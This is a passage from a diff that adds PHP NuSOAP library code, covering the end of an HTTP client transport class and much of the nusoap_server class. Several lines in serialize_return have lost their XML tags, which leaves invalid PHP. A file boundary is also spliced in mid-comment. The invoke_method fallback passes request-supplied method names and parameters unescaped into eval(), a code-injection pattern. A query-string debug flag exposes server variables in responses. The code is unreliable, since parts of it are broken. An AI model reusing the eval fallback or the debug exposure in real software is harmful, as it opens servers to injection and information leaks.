        '; + } + // close curl + $this->debug('No cURL error, closing cURL'); + curl_close($this->ch); + + // try removing skippable headers + $savedata = $data; + while ($this->isSkippableCurlHeader($data)) { + $this->debug("Found HTTP header to skip"); + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + + if ($data == '') { + // have nothing left; just remove 100 header(s) + $data = $savedata; + while (preg_match('/^HTTP\/1.1 100/',$data)) { + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + } + + // separate content from HTTP headers + if ($pos = strpos($data,"\r\n\r\n")) { + $lb = "\r\n"; + } elseif( $pos = strpos($data,"\n\n")) { + $lb = "\n"; + } else { + $this->debug('no proper separation of headers and document'); + $this->setError('no proper separation of headers and document'); + return false; + } + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $data = ltrim(substr($data,$pos)); + $this->debug('found proper separation of headers and document'); + $this->debug('cleaned data, stringlen: '.strlen($data)); + // clean headers + foreach ($header_array as $header_line) { + $arr = explode(':',$header_line,2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + } + + $this->response_status_line = $header_array[0]; + $arr = explode(' ', $this->response_status_line, 3); + $http_version = $arr[0]; + $http_status = (int)($arr[1]); + $http_reason = count($arr) > 2 ? $arr[2] : ''; + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { + $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); + $this->setURL($this->incoming_headers['location']); + $this->tryagain = true; + return false; + } + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { + $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); + if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { + $this->debug('Server wants digest authentication'); + // remove "Digest " from our elements + $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); + + // parse elements into array + $digestElements = explode(',', $digestString); + foreach ($digestElements as $val) { + $tempElement = explode('=', trim($val), 2); + $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); + } + + // should have (at least) qop, realm, nonce + if (isset($digestRequest['nonce'])) { + $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); + $this->tryagain = true; + return false; + } + } + $this->debug('HTTP authentication failed'); + $this->setError('HTTP authentication failed'); + return false; + } + + if ( + ($http_status >= 300 && $http_status <= 307) || + ($http_status >= 400 && $http_status <= 417) || + ($http_status >= 501 && $http_status <= 505) + ) { + $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); + return false; + } + + // decode content-encoding + if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ + if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ + // if decoding works, use it. else assume data wasn't gzencoded + if(function_exists('gzinflate')){ + //$timer->setMarker('starting decoding of gzip/deflated content'); + // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) + // this means there are no Zlib headers, although there should be + $this->debug('The gzinflate function exists'); + $datalen = strlen($data); + if ($this->incoming_headers['content-encoding'] == 'deflate') { + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The inflated payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to inflate the payload'); + $this->setError('Error using gzinflate to inflate the payload'); + } + } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { + if ($degzdata = @gzinflate(substr($data, 10))) { // do our best + $data = $degzdata; + $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate(substr($data, 10))) { + $data = $degzdata; + $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to un-gzip the payload'); + $this->setError('Error using gzinflate to un-gzip the payload'); + } + } + //$timer->setMarker('finished decoding of gzip/deflated content'); + //print "\nde-inflated:\n---------------\n$data\n-------------\n"; + // set decoded payload + $this->incoming_payload = $header_data.$lb.$lb.$data; + } else { + $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + } + } else { + $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + $this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + } + } else { + $this->debug('No Content-Encoding header'); + } + + if(strlen($data) == 0){ + $this->debug('no data after headers!'); + $this->setError('no data present after HTTP headers'); + return false; + } + + return $data; + } + + /** + * sets the content-type for the SOAP message to be sent + * + * @param string $type the content type, MIME style + * @param mixed $charset character set used for encoding (or false) + * @access public + */ + function setContentType($type, $charset = false) { + $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); + } + + /** + * specifies that an HTTP persistent connection should be used + * + * @return boolean whether the request was honored by this method. + * @access public + */ + function usePersistentConnection(){ + if (isset($this->outgoing_headers['Accept-Encoding'])) { + return false; + } + $this->protocol_version = '1.1'; + $this->persistentConnection = true; + $this->setHeader('Connection', 'Keep-Alive'); + return true; + } + + /** + * parse an incoming Cookie into it's parts + * + * @param string $cookie_str content of cookie + * @return array with data of that cookie + * @access private + */ + /* + * TODO: allow a Set-Cookie string to be parsed into multiple cookies + */ + function parseCookie($cookie_str) { + $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; + $data = preg_split('/;/', $cookie_str); + $value_str = $data[0]; + + $cookie_param = 'domain='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $domain = substr($cookie_str, $start + strlen($cookie_param)); + $domain = substr($domain, 0, strpos($domain, ';')); + } else { + $domain = ''; + } + + $cookie_param = 'expires='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $expires = substr($cookie_str, $start + strlen($cookie_param)); + $expires = substr($expires, 0, strpos($expires, ';')); + } else { + $expires = ''; + } + + $cookie_param = 'path='; + $start = strpos($cookie_str, $cookie_param); + if ( $start > 0 ) { + $path = substr($cookie_str, $start + strlen($cookie_param)); + $path = substr($path, 0, strpos($path, ';')); + } else { + $path = '/'; + } + + $cookie_param = ';secure;'; + if (strpos($cookie_str, $cookie_param) !== FALSE) { + $secure = true; + } else { + $secure = false; + } + + $sep_pos = strpos($value_str, '='); + + if ($sep_pos) { + $name = substr($value_str, 0, $sep_pos); + $value = substr($value_str, $sep_pos + 1); + $cookie= array( 'name' => $name, + 'value' => $value, + 'domain' => $domain, + 'path' => $path, + 'expires' => $expires, + 'secure' => $secure + ); + return $cookie; + } + return false; + } + + /** + * sort out cookies for the current request + * + * @param array $cookies array with all cookies + * @param boolean $secure is the send-content secure or not? + * @return string for Cookie-HTTP-Header + * @access private + */ + function getCookiesForRequest($cookies, $secure=false) { + $cookie_str = ''; + if ((! is_null($cookies)) && (is_array($cookies))) { + foreach ($cookies as $cookie) { + if (! is_array($cookie)) { + continue; + } + $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) <= time()) { + $this->debug('cookie has expired'); + continue; + } + } + if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { + $domain = preg_quote($cookie['domain']); + if (! preg_match("'.*$domain$'i", $this->host)) { + $this->debug('cookie has different domain'); + continue; + } + } + if ((isset($cookie['path'])) && (! empty($cookie['path']))) { + $path = preg_quote($cookie['path']); + if (! preg_match("'^$path.*'i", $this->path)) { + $this->debug('cookie is for a different path'); + continue; + } + } + if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { + $this->debug('cookie is secure, transport is not'); + continue; + } + $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; + $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); + } + } + return $cookie_str; + } +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_server extends nusoap_base { + /** + * HTTP headers of request + * @var array + * @access private + */ + var $headers = array(); + /** + * HTTP request + * @var string + * @access private + */ + var $request = ''; + /** + * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $requestHeaders = ''; + /** + * SOAP Headers from request (parsed) + * @var mixed + * @access public + */ + var $requestHeader = NULL; + /** + * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $document = ''; + /** + * SOAP payload for request (text) + * @var string + * @access public + */ + var $requestSOAP = ''; + /** + * requested method namespace URI + * @var string + * @access private + */ + var $methodURI = ''; + /** + * name of method requested + * @var string + * @access private + */ + var $methodname = ''; + /** + * method parameters from request + * @var array + * @access private + */ + var $methodparams = array(); + /** + * SOAP Action from request + * @var string + * @access private + */ + var $SOAPAction = ''; + /** + * character set encoding of incoming (request) messages + * @var string + * @access public + */ + var $xml_encoding = ''; + /** + * toggles whether the parser decodes element content w/ utf8_decode() + * @var boolean + * @access public + */ + var $decode_utf8 = true; + + /** + * HTTP headers of response + * @var array + * @access public + */ + var $outgoing_headers = array(); + /** + * HTTP response + * @var string + * @access private + */ + var $response = ''; + /** + * SOAP headers for response (text or array of soapval or associative array) + * @var mixed + * @access public + */ + var $responseHeaders = ''; + /** + * SOAP payload for response (text) + * @var string + * @access private + */ + var $responseSOAP = ''; + /** + * method return value to place in response + * @var mixed + * @access private + */ + var $methodreturn = false; + /** + * whether $methodreturn is a string of literal XML + * @var boolean + * @access public + */ + var $methodreturnisliteralxml = false; + /** + * SOAP fault for response (or false) + * @var mixed + * @access private + */ + var $fault = false; + /** + * text indication of result (for debugging) + * @var string + * @access private + */ + var $result = 'successful'; + + /** + * assoc array of operations => opData; operations are added by the register() + * method or by parsing an external WSDL definition + * @var array + * @access private + */ + var $operations = array(); + /** + * wsdl instance (if one) + * @var mixed + * @access private + */ + var $wsdl = false; + /** + * URL for WSDL (if one) + * @var mixed + * @access private + */ + var $externalWSDLURL = false; + /** + * whether to append debug to response as XML comment + * @var boolean + * @access public + */ + var $debug_flag = false; + + + /** + * constructor + * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. + * + * @param mixed $wsdl file path or URL (string), or wsdl instance (object) + * @access public + */ + function nusoap_server($wsdl=false){ + parent::nusoap_base(); + // turn on debugging? + global $debug; + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $this->debug("_SERVER is defined:"); + $this->appendDebug($this->varDump($_SERVER)); + } elseif (isset($HTTP_SERVER_VARS)) { + $this->debug("HTTP_SERVER_VARS is defined:"); + $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); + } else { + $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); + } + + if (isset($debug)) { + $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); + $this->debug_flag = $debug; + } elseif (isset($_SERVER['QUERY_STRING'])) { + $qs = explode('&', $_SERVER['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); + $this->debug_flag = substr($v, 6); + } + } + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); + $this->debug_flag = substr($v, 6); + } + } + } + + // wsdl + if($wsdl){ + $this->debug("In nusoap_server, WSDL is specified"); + if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { + $this->wsdl = $wsdl; + $this->externalWSDLURL = $this->wsdl->wsdl; + $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); + } else { + $this->debug('Create wsdl from ' . $wsdl); + $this->wsdl = new wsdl($wsdl); + $this->externalWSDLURL = $wsdl; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($err = $this->wsdl->getError()){ + die('WSDL ERROR: '.$err); + } + } + } + + /** + * processes request and returns response + * + * @param string $data usually is the value of $HTTP_RAW_POST_DATA + * @access public + */ + function service($data){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER['REQUEST_METHOD'])) { + $rm = $_SERVER['REQUEST_METHOD']; + } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { + $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; + } else { + $rm = ''; + } + + if (isset($_SERVER['QUERY_STRING'])) { + $qs = $_SERVER['QUERY_STRING']; + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = $HTTP_SERVER_VARS['QUERY_STRING']; + } else { + $qs = ''; + } + $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); + + if ($rm == 'POST') { + $this->debug("In service, invoke the request"); + $this->parse_request($data); + if (! $this->fault) { + $this->invoke_method(); + } + if (! $this->fault) { + $this->serialize_return(); + } + $this->send_response(); + } elseif (preg_match('/wsdl/', $qs) ){ + $this->debug("In service, this is a request for WSDL"); + if ($this->externalWSDLURL){ + if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL + $this->debug("In service, re-direct for WSDL"); + header('Location: '.$this->externalWSDLURL); + } else { // assume file + $this->debug("In service, use file passthru for WSDL"); + header("Content-Type: text/xml\r\n"); + $pos = strpos($this->externalWSDLURL, "file://"); + if ($pos === false) { + $filename = $this->externalWSDLURL; + } else { + $filename = substr($this->externalWSDLURL, $pos + 7); + } + $fp = fopen($this->externalWSDLURL, 'r'); + fpassthru($fp); + } + } elseif ($this->wsdl) { + $this->debug("In service, serialize WSDL"); + header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); + print $this->wsdl->serialize($this->debug_flag); + if ($this->debug_flag) { + $this->debug('wsdl:'); + $this->appendDebug($this->varDump($this->wsdl)); + print $this->getDebugAsXMLComment(); + } + } else { + $this->debug("In service, there is no WSDL"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide WSDL"; + } + } elseif ($this->wsdl) { + $this->debug("In service, return Web description"); + print $this->wsdl->webDescription(); + } else { + $this->debug("In service, no Web description"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide a Web description"; + } + } + + /** + * parses HTTP request headers. + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * + * @access private + */ + function parse_http_headers() { + global $HTTP_SERVER_VARS; + + $this->request = ''; + $this->SOAPAction = ''; + if(function_exists('getallheaders')){ + $this->debug("In parse_http_headers, use getallheaders"); + $headers = getallheaders(); + foreach($headers as $k=>$v){ + $k = strtolower($k); + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + // get SOAPAction header + if(isset($this->headers['soapaction'])){ + $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); + } + // get the character encoding of the incoming request + if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ + $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } elseif(isset($_SERVER) && is_array($_SERVER)){ + $this->debug("In parse_http_headers, use _SERVER"); + foreach ($_SERVER as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } elseif (is_array($HTTP_SERVER_VARS)) { + $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); + foreach ($HTTP_SERVER_VARS as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } else { + $this->debug("In parse_http_headers, HTTP headers not accessible"); + $this->setError("HTTP headers not accessible"); + } + } + + /** + * parses a request + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * request + * requestSOAP + * methodURI + * methodname + * methodparams + * requestHeaders + * document + * + * This sets the fault field on error + * + * @param string $data XML string + * @access private + */ + function parse_request($data='') { + $this->debug('entering parse_request()'); + $this->parse_http_headers(); + $this->debug('got character encoding: '.$this->xml_encoding); + // uncompress if necessary + if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { + $this->debug('got content encoding: ' . $this->headers['content-encoding']); + if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { + // if decoding works, use it. else assume data wasn't gzencoded + if (function_exists('gzuncompress')) { + if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { + $data = $degzdata; + } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { + $data = $degzdata; + } else { + $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); + return; + } + } else { + $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); + return; + } + } + } + $this->request .= "\r\n".$data; + $data = $this->parseRequest($this->headers, $data); + $this->requestSOAP = $data; + $this->debug('leaving parse_request'); + } + + /** + * invokes a PHP function for the requested SOAP method + * + * The following fields are set by this function (when successful) + * + * methodreturn + * + * Note that the PHP function that is called may also set the following + * fields to affect the response sent to the client + * + * responseHeaders + * outgoing_headers + * + * This sets the fault field on error + * + * @access private + */ + function invoke_method() { + $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); + + // + // if you are debugging in this area of the code, your service uses a class to implement methods, + // you use SOAP RPC, and the client is .NET, please be aware of the following... + // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the + // method name. that is fine for naming the .NET methods. it is not fine for properly constructing + // the XML request and reading the XML response. you need to add the RequestElementName and + // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe + // generates for the method. these parameters are used to specify the correct XML element names + // for .NET to use, i.e. the names with the '.' in them. + // + $orig_methodname = $this->methodname; + if ($this->wsdl) { + if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { + $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { + // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element + $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + $this->methodname = $this->opData['name']; + } else { + $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); + $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); + return; + } + } else { + $this->debug('in invoke_method, no WSDL to validate method'); + } + + // if a . is present in $this->methodname, we see if there is a class in scope, + // which could be referred to. We will also distinguish between two deliminators, + // to allow methods to be called a the class or an instance + if (strpos($this->methodname, '..') > 0) { + $delim = '..'; + } else if (strpos($this->methodname, '.') > 0) { + $delim = '.'; + } else { + $delim = ''; + } + $this->debug("in invoke_method, delim=$delim"); + + $class = ''; + $method = ''; + if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { + $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); + if (class_exists($try_class)) { + // get the class and method name + $class = $try_class; + $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); + $this->debug("in invoke_method, class=$class method=$method delim=$delim"); + } else { + $this->debug("in invoke_method, class=$try_class not found"); + } + } else { + $try_class = ''; + $this->debug("in invoke_method, no class to try"); + } + + // does method exist? + if ($class == '') { + if (!function_exists($this->methodname)) { + $this->debug("in invoke_method, function '$this->methodname' not found!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); + return; + } + } else { + $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; + if (!in_array($method_to_compare, get_class_methods($class))) { + $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); + return; + } + } + + // evaluate message, getting back parameters + // verify that request parameters match the method's signature + if(! $this->verify_method($this->methodname,$this->methodparams)){ + // debug + $this->debug('ERROR: request not verified against method signature'); + $this->result = 'fault: request failed validation against method signature'; + // return fault + $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); + return; + } + + // if there are parameters to pass + $this->debug('in invoke_method, params:'); + $this->appendDebug($this->varDump($this->methodparams)); + $this->debug("in invoke_method, calling '$this->methodname'"); + if (!function_exists('call_user_func_array')) { + if ($class == '') { + $this->debug('in invoke_method, calling function using eval()'); + $funcCall = "\$this->methodreturn = $this->methodname("; + } else { + if ($delim == '..') { + $this->debug('in invoke_method, calling class method using eval()'); + $funcCall = "\$this->methodreturn = ".$class."::".$method."("; + } else { + $this->debug('in invoke_method, calling instance method using eval()'); + // generate unique instance name + $instname = "\$inst_".time(); + $funcCall = $instname." = new ".$class."(); "; + $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; + } + } + if ($this->methodparams) { + foreach ($this->methodparams as $param) { + if (is_array($param) || is_object($param)) { + $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); + return; + } + $funcCall .= "\"$param\","; + } + $funcCall = substr($funcCall, 0, -1); + } + $funcCall .= ');'; + $this->debug('in invoke_method, function call: '.$funcCall); + @eval($funcCall); + } else { + if ($class == '') { + $this->debug('in invoke_method, calling function using call_user_func_array()'); + $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() + } elseif ($delim == '..') { + $this->debug('in invoke_method, calling class method using call_user_func_array()'); + $call_arg = array ($class, $method); + } else { + $this->debug('in invoke_method, calling instance method using call_user_func_array()'); + $instance = new $class (); + $call_arg = array(&$instance, $method); + } + if (is_array($this->methodparams)) { + $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); + } else { + $this->methodreturn = call_user_func_array($call_arg, array()); + } + } + $this->debug('in invoke_method, methodreturn:'); + $this->appendDebug($this->varDump($this->methodreturn)); + $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); + } + + /** + * serializes the return value from a PHP function into a full SOAP Envelope + * + * The following fields are set by this function (when successful) + * + * responseSOAP + * + * This sets the fault field on error + * + * @access private + */ + function serialize_return() { + $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); + // if fault + if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { + $this->debug('got a fault object from method'); + $this->fault = $this->methodreturn; + return; + } elseif ($this->methodreturnisliteralxml) { + $return_val = $this->methodreturn; + // returned value(s) + } else { + $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); + $this->debug('serializing return value'); + if($this->wsdl){ + if (sizeof($this->opData['output']['parts']) > 1) { + $this->debug('more than one output part, so use the method return unchanged'); + $opParams = $this->methodreturn; + } elseif (sizeof($this->opData['output']['parts']) == 1) { + $this->debug('exactly one output part, so wrap the method return in a simple array'); + // TODO: verify that it is not already wrapped! + //foreach ($this->opData['output']['parts'] as $name => $type) { + // $this->debug('wrap in element named ' . $name); + //} + $opParams = array($this->methodreturn); + } + $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($errstr = $this->wsdl->getError()){ + $this->debug('got wsdl error: '.$errstr); + $this->fault('SOAP-ENV:Server', 'unable to serialize result'); + return; + } + } else { + if (isset($this->methodreturn)) { + $return_val = $this->serialize_val($this->methodreturn, 'return'); + } else { + $return_val = ''; + $this->debug('in absence of WSDL, assume void return for backward compatibility'); + } + } + } + $this->debug('return value:'); + $this->appendDebug($this->varDump($return_val)); + + $this->debug('serializing response'); + if ($this->wsdl) { + $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); + if ($this->opData['style'] == 'rpc') { + $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); + if ($this->opData['output']['use'] == 'literal') { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } else { + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } + } else { + $this->debug('style is not rpc for serialization: assume document'); + $payload = $return_val; + } + } else { + $this->debug('do not have WSDL for serialization: assume rpc/encoded'); + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } + $this->result = 'successful'; + if($this->wsdl){ + //if($this->debug_flag){ + $this->appendDebug($this->wsdl->getDebug()); + // } + if (isset($this->opData['output']['encodingStyle'])) { + $encodingStyle = $this->opData['output']['encodingStyle']; + } else { + $encodingStyle = ''; + } + // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); + } else { + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); + } + $this->debug("Leaving serialize_return"); + } + + /** + * sends an HTTP response + * + * The following fields are set by this function (when successful) + * + * outgoing_headers + * response + * + * @access private + */ + function send_response() { + $this->debug('Enter send_response'); + if ($this->fault) { + $payload = $this->fault->serialize(); + $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; + $this->outgoing_headers[] = "Status: 500 Internal Server Error"; + } else { + $payload = $this->responseSOAP; + // Some combinations of PHP+Web server allow the Status + // to come through as a header. Since OK is the default + // just do nothing. + // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; + // $this->outgoing_headers[] = "Status: 200 OK"; + } + // add debug data if in debug mode + if(isset($this->debug_flag) && $this->debug_flag){ + $payload .= $this->getDebugAsXMLComment(); + } + $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); 